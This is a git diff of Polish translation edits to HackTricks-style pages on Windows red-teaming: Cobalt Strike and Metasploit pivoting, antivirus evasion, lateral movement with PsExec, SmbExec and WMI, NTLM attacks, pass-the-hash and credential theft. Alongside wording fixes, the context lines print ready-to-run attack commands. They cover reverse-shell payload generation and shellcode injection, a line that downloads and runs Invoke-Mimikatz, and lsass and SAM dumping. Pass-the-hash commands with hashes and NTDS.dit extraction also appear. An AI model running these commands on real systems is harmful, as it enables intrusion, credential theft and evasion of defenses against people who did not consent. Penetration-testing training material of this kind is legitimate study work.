 ## Na hoście metaploit
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
@@ -153,9 +153,9 @@ msf6 exploit(multi/handler) > exploit -j
 
 ## Na cobalt: Listeners > Add i ustaw Payload na Foreign HTTP. Ustaw Host na 10.10.5.120, Port na 8080 i kliknij Zapisz.
 beacon> spawn metasploit
-## Możesz uruchomić tylko sesje x86 Meterpreter z obcego listenera.
+## Możesz uruchomić tylko sesje x86 Meterpreter z obcym listenerem.
 
-# Pass session to Metasploit - Through shellcode injection
+# Przekaż sesję do Metasploit - Przez wstrzykiwanie shellcode
 ## Na hoście metasploit
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
 ## Uruchom msfvenom i przygotuj listener multi/handler
@@ -164,25 +164,25 @@ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<POR
 ps
 shinject <pid> x64 C:\Payloads\msf.bin #Wstrzyknij shellcode metasploit do procesu x64
 
-# Pass metasploit session to cobalt strike
+# Przekaż sesję metasploit do cobalt strike
 ## Wygeneruj stageless Beacon shellcode, przejdź do Attacks > Packages > Windows Executable (S), wybierz pożądany listener, wybierz Raw jako typ wyjścia i wybierz Użyj x64 payload.
-## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany shellcode cobalt strike
+## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany shellcode cobalt strike.
 
 
 # Pivoting
-## Otwórz proxy socks w teamserver
+## Otwórz proxy socks na teamserver
 beacon> socks 1080
 
-# SSH connection
+# Połączenie SSH
 beacon> ssh 10.10.17.12:22 username password
-## Avoiding AVs +## Unikanie AV -### Artifact Kit +### Zestaw artefaktów -Zwykle w `/opt/cobaltstrike/artifact-kit` możesz znaleźć kod i wstępnie skompilowane szablony (w `/src-common`) ładunków, które cobalt strike zamierza użyć do generowania binarnych beaconów. +Zwykle w `/opt/cobaltstrike/artifact-kit` możesz znaleźć kod i wstępnie skompilowane szablony (w `/src-common`) payloadów, które cobalt strike zamierza użyć do generowania binarnych beaconów. -Używając [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z wygenerowanym backdoorem (lub po prostu z skompilowanym szablonem), możesz znaleźć, co powoduje wyzwolenie defendera. Zwykle jest to ciąg. Dlatego możesz po prostu zmodyfikować kod, który generuje backdoora, aby ten ciąg nie pojawiał się w finalnym pliku binarnym. +Używając [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z wygenerowanym backdoorem (lub po prostu z skompilowanym szablonem), możesz znaleźć, co powoduje wyzwolenie defendera. Zwykle jest to ciąg. Dlatego możesz po prostu zmodyfikować kod, który generuje backdoora, aby ten ciąg nie pojawił się w finalnym pliku binarnym. Po modyfikacji kodu po prostu uruchom `./build.sh` z tej samej katalogu i skopiuj folder `dist-pipe/` do klienta Windows w `C:\Tools\cobaltstrike\ArtifactKit`. ``` diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md index c314244fa..f76e5f905 100644 --- a/src/windows-hardening/lateral-movement/README.md +++ b/src/windows-hardening/lateral-movement/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Istnieje wiele sposobów na wykonywanie poleceń w zewnętrznych systemach, tutaj znajdziesz wyjaśnienia, jak działają główne techniki lateralnego ruchu w systemie Windows: +Istnieje wiele sposobów na wykonywanie poleceń w zewnętrznych systemach, tutaj znajdziesz wyjaśnienia dotyczące działania głównych technik lateralnego ruchu w systemie Windows: - [**PsExec**](psexec-and-winexec.md) - [**SmbExec**](smbexec.md) diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcom-exec.md index ff74649e6..8e055fa89 100644 --- a/src/windows-hardening/lateral-movement/dcom-exec.md +++ b/src/windows-hardening/lateral-movement/dcom-exec.md @@ -36,9 +36,9 @@ ls \\10.10.10.10\c$\Users **Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)** -Obiekt **MMC20.Application** został zidentyfikowany jako brakujący w "LaunchPermissions", domyślnie przyznając uprawnienia, które pozwalają Administratorom na dostęp. Aby uzyskać dalsze szczegóły, można zbadać wątek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a użycie [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET do filtrowania obiektów bez wyraźnych uprawnień uruchomienia jest zalecane. +Obiekt **MMC20.Application** został zidentyfikowany jako brakujący w "LaunchPermissions", domyślnie przyznając uprawnienia, które pozwalają Administratorom na dostęp. W celu uzyskania dalszych szczegółów, wątek można zbadać [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a użycie [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET do filtrowania obiektów bez wyraźnych uprawnień uruchomienia jest zalecane. -Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zostały wyróżnione z powodu braku wyraźnych uprawnień uruchomienia. Brak wpisu `LaunchPermission` w rejestrze pod `HKCR:\AppID\{guid}` oznacza brak wyraźnych uprawnień. +Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zostały wyróżnione z powodu braku wyraźnych uprawnień uruchomienia. Brak wpisu rejestru `LaunchPermission` pod `HKCR:\AppID\{guid}` oznacza brak wyraźnych uprawnień. ### ShellWindows diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index 5613e7eb3..b1231b066 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -13,9 +13,9 @@ Proces jest opisany w poniższych krokach, ilustrując, jak binaria usług są m ### **Proces ręcznego uruchamiania PsExec** -Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym użyciem Veil, aby uniknąć wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki: +Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym użyciem Veil w celu uniknięcia wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki: -- **Kopiowanie binariów**: Wykonywalny plik jest kopiowany do udziału ADMIN$ z wiersza poleceń, chociaż może być umieszczony w dowolnym miejscu w systemie plików, aby pozostać ukrytym. +- **Kopiowanie binarium**: Wykonywalny plik jest kopiowany do udziału ADMIN$ z wiersza poleceń, chociaż może być umieszczony w dowolnym miejscu w systemie plików, aby pozostać ukrytym. - **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które umożliwia zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium. - **Uruchamianie usługi**: Ostatni krok polega na uruchomieniu usługi, co prawdopodobnie spowoduje błąd "time-out" z powodu tego, że binarium nie jest prawdziwym binarium usługi i nie zwraca oczekiwanego kodu odpowiedzi. Ten błąd jest nieistotny, ponieważ głównym celem jest wykonanie binarium. diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md index 8ce56a3d0..227f13f52 100644 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ b/src/windows-hardening/lateral-movement/smbexec.md @@ -2,13 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} + ## Jak to działa **Smbexec** to narzędzie używane do zdalnego wykonywania poleceń na systemach Windows, podobne do **Psexec**, ale unika umieszczania jakichkolwiek złośliwych plików na docelowym systemie. ### Kluczowe punkty dotyczące **SMBExec** -- Działa poprzez tworzenie tymczasowej usługi (na przykład "BTOBTO") na docelowej maszynie, aby wykonywać polecenia za pomocą cmd.exe (%COMSPEC%), bez zrzucania jakichkolwiek binarnych plików. +- Działa poprzez tworzenie tymczasowej usługi (na przykład "BTOBTO") na docelowej maszynie, aby wykonywać polecenia za pomocą cmd.exe (%COMSPEC%), bez zrzucania jakichkolwiek binariów. - Pomimo swojego dyskretnego podejścia, generuje dzienniki zdarzeń dla każdego wykonanego polecenia, oferując formę nieinteraktywnego "shella". - Polecenie do połączenia za pomocą **Smbexec** wygląda tak: ```bash diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md index 3c56bf2a3..064b9bf27 100644 --- a/src/windows-hardening/lateral-movement/wmiexec.md +++ b/src/windows-hardening/lateral-movement/wmiexec.md @@ -13,7 +13,7 @@ Procesy mogą być otwierane na hostach, gdzie znana jest nazwa użytkownika ora ### Przestrzeń nazw Struktura w hierarchii stylu katalogu, najwyższym kontenerem WMI jest \root, pod którym zorganizowane są dodatkowe katalogi, zwane przestrzeniami nazw. -Komendy do wyświetlenia przestrzeni nazw: +Komendy do wyświetlania przestrzeni nazw: ```bash # Retrieval of Root namespaces gwmi -namespace "root" -Class "__Namespace" | Select Name @@ -89,7 +89,7 @@ Zdalne zapytanie WMI o konkretne informacje, takie jak lokalni administratorzy l ### **Ręczne zdalne zapytania WMI** -Ciche identyfikowanie lokalnych administratorów na zdalnej maszynie i zalogowanych użytkowników można osiągnąć za pomocą konkretnych zapytań WMI. `wmic` wspiera również odczyt z pliku tekstowego, aby jednocześnie wykonywać polecenia na wielu węzłach. +Ciche identyfikowanie lokalnych administratorów na zdalnej maszynie i zalogowanych użytkowników można osiągnąć za pomocą konkretnych zapytań WMI. `wmic` wspiera również odczyt z pliku tekstowego, aby wykonać polecenia na wielu węzłach jednocześnie. Aby zdalnie wykonać proces za pomocą WMI, na przykład wdrażając agenta Empire, stosuje się następującą strukturę polecenia, a pomyślne wykonanie jest wskazywane przez wartość zwracaną "0": ```bash diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 71dff023f..0fe594e4a 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -10,7 +10,7 @@ Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używ Obecność nagłówka **"NTLMSSP"** w pakietach sieciowych sygnalizuje proces uwierzytelniania NTLM. -Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewnione przez określony plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`. +Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewniane przez określony plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`. **Kluczowe punkty**: @@ -81,7 +81,7 @@ Możesz nadużyć niektóre dane uwierzytelniające/sesje, które już masz w AD Jeśli używasz `responder`, możesz spróbować \*\*użyć flagi `--lm` \*\* aby spróbować **obniżyć** **uwierzytelnienie**.\ &#xNAN;_Note, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważny)._ -Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelniania, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** używając powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](./#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz mógł je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład). +Pamiętaj, że drukarka użyje konta komputera podczas uwierzytelnienia, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** używając powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](./#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz mógł je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład). ### Atak NTLMv1 z hashcat @@ -126,7 +126,7 @@ Uruchom hashcat (najlepiej w trybie rozproszonym za pomocą narzędzia takiego j ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` -W tym przypadku znamy hasło, a jest to password, więc dla celów demonstracyjnych oszukamy: +W tym przypadku znamy hasło, które to hasło, więc dla celów demonstracyjnych oszukamy: ```bash python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b DESKEY1: b55d6d04e67926 @@ -155,9 +155,9 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` ### NTLMv2 Challenge -Długość **wyzwania wynosi 8 bajtów** i **wysyłane są 2 odpowiedzi**: jedna ma **24 bajty**, a długość **drugiej** jest **zmienna**. +Długość **wyzwania wynosi 8 bajtów** i **wysyłane są 2 odpowiedzi**: jedna ma **24 bajty** długości, a długość **drugiej** jest **zmienna**. -**Pierwsza odpowiedź** jest tworzona przez szyfrowanie za pomocą **HMAC_MD5** ciągu składającego się z **klienta i domeny** i używając jako **klucza** hasha **MD4** z **NT hasha**. Następnie **wynik** będzie użyty jako **klucz** do szyfrowania za pomocą **HMAC_MD5** **wyzwania**. Do tego **zostanie dodane wyzwanie klienta o długości 8 bajtów**. Łącznie: 24 B. +**Pierwsza odpowiedź** jest tworzona przez szyfrowanie za pomocą **HMAC_MD5** ciągu składającego się z **klienta i domeny** i używając jako **klucza** hasha MD4 **NT hasha**. Następnie **wynik** będzie użyty jako **klucz** do szyfrowania za pomocą **HMAC_MD5** **wyzwania**. Do tego **zostanie dodane wyzwanie klienta o długości 8 bajtów**. Łącznie: 24 B. **Druga odpowiedź** jest tworzona przy użyciu **kilku wartości** (nowe wyzwanie klienta, **znacznik czasu** w celu uniknięcia **ataków powtórkowych**...) @@ -166,7 +166,7 @@ Jeśli masz **pcap, który uchwycił udany proces uwierzytelniania**, możesz sk ## Pass-the-Hash **Gdy masz hash ofiary**, możesz go użyć do **podszywania się** pod nią.\ -Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy użyciu tego **hasha**, **lub** możesz stworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz. +Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy użyciu tego **hasha**, **lub** możesz stworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak aby przy każdym **wykonaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz. **Pamiętaj, że możesz również przeprowadzać ataki Pass-the-Hash przy użyciu kont komputerowych.** @@ -178,10 +178,10 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm ``` To uruchomi proces, który będzie należał do użytkowników, którzy uruchomili mimikatz, ale wewnętrznie w LSASS zapisane poświadczenia to te w parametrach mimikatz. Następnie możesz uzyskać dostęp do zasobów sieciowych tak, jakbyś był tym użytkownikiem (podobnie jak sztuczka `runas /netonly`, ale nie musisz znać hasła w postaci czystego tekstu). -### Pass-the-Hash z Linuxa +### Pass-the-Hash z linuxa -Możesz uzyskać wykonanie kodu na maszynach Windows, używając Pass-the-Hash z Linuxa.\ -[**Uzyskaj dostęp, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) +Możesz uzyskać wykonanie kodu na maszynach z Windows, używając Pass-the-Hash z Linuxa.\ +[**Uzyskaj dostęp tutaj, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) ### Skonstruowane narzędzia Impacket dla Windows @@ -190,7 +190,7 @@ Możesz pobrać [binarne pliki impacket dla Windows tutaj](https://github.com/ro - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` - **atexec.exe** (W tym przypadku musisz określić polecenie, cmd.exe i powershell.exe nie są ważne, aby uzyskać interaktywną powłokę)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` -- Jest kilka innych binarnych plików Impacket... +- Jest jeszcze kilka innych binarnych plików Impacket... ### Invoke-TheHash @@ -220,7 +220,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100 ``` ### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm) -### Windows Credentials Editor (WCE) +### Edytor poświadczeń systemu Windows (WCE) **Musisz uruchomić jako administrator** diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md index 3fb6d820a..dbd477020 100644 --- a/src/windows-hardening/ntlm/psexec-and-winexec.md +++ b/src/windows-hardening/ntlm/psexec-and-winexec.md @@ -13,11 +13,11 @@ Proces jest opisany w poniższych krokach, ilustrując, jak binaria usług są m ### **Proces ręcznego uruchamiania PsExec** -Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym kodem przy użyciu Veil w celu uniknięcia wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki: +Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym kodem przy użyciu Veil, aby uniknąć wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki: - **Kopiowanie binarium**: Wykonywalny plik jest kopiowany do udziału ADMIN$ z wiersza poleceń, chociaż może być umieszczony w dowolnym miejscu w systemie plików, aby pozostać ukrytym. -- **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które pozwala na zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium. +- **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które umożliwia zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium. - **Uruchamianie usługi**: Ostatni krok polega na uruchomieniu usługi, co prawdopodobnie spowoduje błąd "time-out" z powodu tego, że binarium nie jest prawdziwym binarium usługi i nie zwraca oczekiwanego kodu odpowiedzi. Ten błąd jest nieistotny, ponieważ głównym celem jest wykonanie binarium. diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md index 8a2484b4c..94dc278f9 100644 --- a/src/windows-hardening/ntlm/smbexec.md +++ b/src/windows-hardening/ntlm/smbexec.md @@ -8,7 +8,7 @@ ### Kluczowe punkty dotyczące **SMBExec** -- Działa poprzez tworzenie tymczasowej usługi (na przykład "BTOBTO") na docelowej maszynie, aby wykonywać polecenia za pomocą cmd.exe (%COMSPEC%), bez zrzucania jakichkolwiek binariów. +- Działa poprzez tworzenie tymczasowej usługi (na przykład "BTOBTO") na docelowej maszynie, aby wykonywać polecenia za pomocą cmd.exe (%COMSPEC%), bez zrzucania jakichkolwiek binarnych plików. - Pomimo swojego dyskretnego podejścia, generuje dzienniki zdarzeń dla każdego wykonanego polecenia, oferując formę nieinteraktywnego "shella". - Polecenie do połączenia za pomocą **Smbexec** wygląda tak: ```bash diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md index 035a065a2..79d850e76 100644 --- a/src/windows-hardening/ntlm/wmiexec.md +++ b/src/windows-hardening/ntlm/wmiexec.md @@ -4,7 +4,7 @@ ## Jak to działa -Procesy mogą być otwierane na hostach, gdzie znana jest nazwa użytkownika oraz hasło lub hash, za pomocą WMI. Komendy są wykonywane przy użyciu WMI przez Wmiexec, co zapewnia pół-interaktywne doświadczenie powłoki. +Procesy mogą być otwierane na hostach, gdzie znana jest nazwa użytkownika oraz hasło lub hash, za pomocą WMI. Komendy są wykonywane przy użyciu WMI przez Wmiexec, co zapewnia pół-interaktywną powłokę. **dcomexec.py:** Wykorzystując różne punkty końcowe DCOM, ten skrypt oferuje pół-interaktywną powłokę podobną do wmiexec.py, szczególnie wykorzystując obiekt DCOM ShellBrowserWindow. Obecnie obsługuje obiekty MMC20. Application, Shell Windows i Shell Browser Window. (źródło: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) @@ -13,7 +13,7 @@ Procesy mogą być otwierane na hostach, gdzie znana jest nazwa użytkownika ora ### Przestrzeń nazw Strukturalnie w hierarchii przypominającej katalog, najwyższym kontenerem WMI jest \root, pod którym zorganizowane są dodatkowe katalogi, zwane przestrzeniami nazw. -Komendy do wyświetlenia przestrzeni nazw: +Komendy do wylistowania przestrzeni nazw: ```bash # Retrieval of Root namespaces gwmi -namespace "root" -Class "__Namespace" | Select Name diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md index 3cf57ac47..07cadfa95 100644 --- a/src/windows-hardening/stealing-credentials/README.md +++ b/src/windows-hardening/stealing-credentials/README.md @@ -24,7 +24,7 @@ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercont Invoke-Mimikatz -DumpCreds #Dump creds from memory Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"' ``` -[**Dowiedz się o możliwych zabezpieczeniach poświadczeń tutaj.**](credentials-protections.md) **Te zabezpieczenia mogą zapobiec wydobywaniu niektórych poświadczeń przez Mimikatz.** +[**Dowiedz się o możliwych zabezpieczeniach poświadczeń tutaj.**](credentials-protections.md) **Te zabezpieczenia mogą zapobiec Mimikatz w wydobywaniu niektórych poświadczeń.** ## Poświadczenia z Meterpreter @@ -67,7 +67,7 @@ mimikatz # sekurlsa::logonPasswords ``` Ten proces jest realizowany automatycznie za pomocą [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` -**Uwaga**: Niektóre **AV** mogą **wykrywać** jako **złośliwe** użycie **procdump.exe do zrzutu lsass.exe**, ponieważ **wykrywają** ciąg **"procdump.exe" i "lsass.exe"**. Dlatego **cichsze** jest **przekazanie** jako **argumentu** **PID** lsass.exe do procdump **zamiast** **nazwa lsass.exe.** +**Uwaga**: Niektóre **AV** mogą **wykrywać** jako **złośliwe** użycie **procdump.exe do zrzutu lsass.exe**, ponieważ **wykrywają** ciąg **"procdump.exe" i "lsass.exe"**. Dlatego **ukrycie** się jako **argument** **PID** lsass.exe do procdump jest **bardziej dyskretne** **zamiast** używać **nazwa lsass.exe.** ### Zrzut lsass z **comsvcs.dll** @@ -110,7 +110,7 @@ PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmod ``` ## CrackMapExec -### Zrzutuj hashe SAM +### Zrzut hashy SAM ``` cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam ``` @@ -182,21 +182,21 @@ Na koniec możesz również użyć [**skryptu PS Invoke-NinjaCopy**](https://git ```bash Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam" ``` -## **Poświadczenia Active Directory - NTDS.dit** +## **Kredencje Active Directory - NTDS.dit** Plik **NTDS.dit** jest znany jako serce **Active Directory**, przechowując kluczowe dane o obiektach użytkowników, grupach i ich członkostwie. To tutaj przechowywane są **hash'e haseł** dla użytkowników domeny. Plik ten jest bazą danych **Extensible Storage Engine (ESE)** i znajduje się w **_%SystemRoom%/NTDS/ntds.dit_**. W tej bazie danych utrzymywane są trzy główne tabele: -- **Tabela Danych**: Ta tabela jest odpowiedzialna za przechowywanie szczegółów o obiektach, takich jak użytkownicy i grupy. -- **Tabela Linków**: Śledzi relacje, takie jak członkostwo w grupach. +- **Tabela danych**: Ta tabela jest odpowiedzialna za przechowywanie szczegółów o obiektach, takich jak użytkownicy i grupy. +- **Tabela linków**: Śledzi relacje, takie jak członkostwo w grupach. - **Tabela SD**: **Deskryptory zabezpieczeń** dla każdego obiektu są przechowywane tutaj, zapewniając bezpieczeństwo i kontrolę dostępu do przechowywanych obiektów. Więcej informacji na ten temat: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) Windows używa _Ntdsa.dll_ do interakcji z tym plikiem, a jest on używany przez _lsass.exe_. Część pliku **NTDS.dit** może być zlokalizowana **w pamięci `lsass`** (możesz znaleźć ostatnio dostępne dane prawdopodobnie z powodu poprawy wydajności dzięki użyciu **cache**). -#### Deszyfrowanie hash'y wewnątrz NTDS.dit +#### Deszyfrowanie hashy wewnątrz NTDS.dit Hash jest szyfrowany 3 razy: @@ -204,7 +204,7 @@ Hash jest szyfrowany 3 razy: 2. Deszyfruj **hash** używając **PEK** i **RC4**. 3. Deszyfruj **hash** używając **DES**. -**PEK** ma **tę samą wartość** w **każdym kontrolerze domeny**, ale jest **szyfrowany** wewnątrz pliku **NTDS.dit** używając **BOOTKEY** pliku **SYSTEM kontrolera domeny (jest inny między kontrolerami domeny)**. Dlatego, aby uzyskać poświadczenia z pliku NTDS.dit, **potrzebujesz plików NTDS.dit i SYSTEM** (_C:\Windows\System32\config\SYSTEM_). +**PEK** ma **tę samą wartość** w **każdym kontrolerze domeny**, ale jest **szyfrowany** wewnątrz pliku **NTDS.dit** używając **BOOTKEY** pliku **SYSTEM kontrolera domeny (jest inny między kontrolerami domeny)**. Dlatego, aby uzyskać kredencje z pliku NTDS.dit, **potrzebujesz plików NTDS.dit i SYSTEM** (_C:\Windows\System32\config\SYSTEM_). ### Kopiowanie NTDS.dit za pomocą Ntdsutil @@ -212,7 +212,7 @@ Dostępne od Windows Server 2008. ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` -Możesz również użyć triku z [**kopią zapasową woluminu**](./#stealing-sam-and-system), aby skopiować plik **ntds.dit**. Pamiętaj, że będziesz również potrzebować kopii pliku **SYSTEM** (ponownie, [**zrzutuj go z rejestru lub użyj triku z kopią zapasową woluminu**](./#stealing-sam-and-system)). +Możesz również użyć triku z [**kopią cienia woluminu**](./#stealing-sam-and-system), aby skopiować plik **ntds.dit**. Pamiętaj, że będziesz również potrzebować kopii pliku **SYSTEM** (ponownie, [**zrzutuj go z rejestru lub użyj triku z kopią cienia woluminu**](./#stealing-sam-and-system)). ### **Ekstrakcja hashy z NTDS.dit** @@ -230,11 +230,11 @@ Na koniec można również użyć **modułu metasploit**: _post/windows/gather/c ### **Ekstrakcja obiektów domeny z NTDS.dit do bazy danych SQLite** -Obiekty NTDS można wyodrębnić do bazy danych SQLite za pomocą [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Wyodrębniane są nie tylko sekrety, ale także całe obiekty i ich atrybuty w celu dalszej ekstrakcji informacji, gdy surowy plik NTDS.dit został już pobrany. +Obiekty NTDS można wyodrębnić do bazy danych SQLite za pomocą [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Ekstrahowane są nie tylko sekrety, ale także całe obiekty i ich atrybuty w celu dalszej ekstrakcji informacji, gdy surowy plik NTDS.dit został już pobrany. ``` ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive ``` -`SYSTEM` hive jest opcjonalny, ale pozwala na deszyfrowanie sekretów (hasła NT i LM, dodatkowe poświadczenia, takie jak hasła w postaci czystego tekstu, klucze kerberos lub zaufania, historie haseł NT i LM). Wraz z innymi informacjami, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich hashami, flagi UAC, znacznik czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i członkostwa rekurencyjne, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typem zaufania, kierunkiem i atrybutami... +`SYSTEM` hive jest opcjonalny, ale pozwala na deszyfrowanie sekretów (hasła NT i LM, dodatkowe poświadczenia, takie jak hasła w postaci czystego tekstu, klucze kerberos lub zaufania, historie haseł NT i LM). Wraz z innymi informacjami, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich haszami, flagi UAC, znacznik czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i członkostwa rekurencyjne, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typem zaufania, kierunkiem i atrybutami... ## Lazagne @@ -257,7 +257,7 @@ fgdump.exe ``` ### PwDump -Wyodrębnij poświadczenia z pliku SAM +Wyodrębnij dane uwierzytelniające z pliku SAM ``` You can find this binary inside Kali, just do: locate pwdump.exe PwDump.exe -o outpwdump -x 127.0.0.1 diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md index 3630a992a..cb119cab2 100644 --- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md +++ b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md @@ -79,9 +79,9 @@ Przykład: ```bash mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit ``` 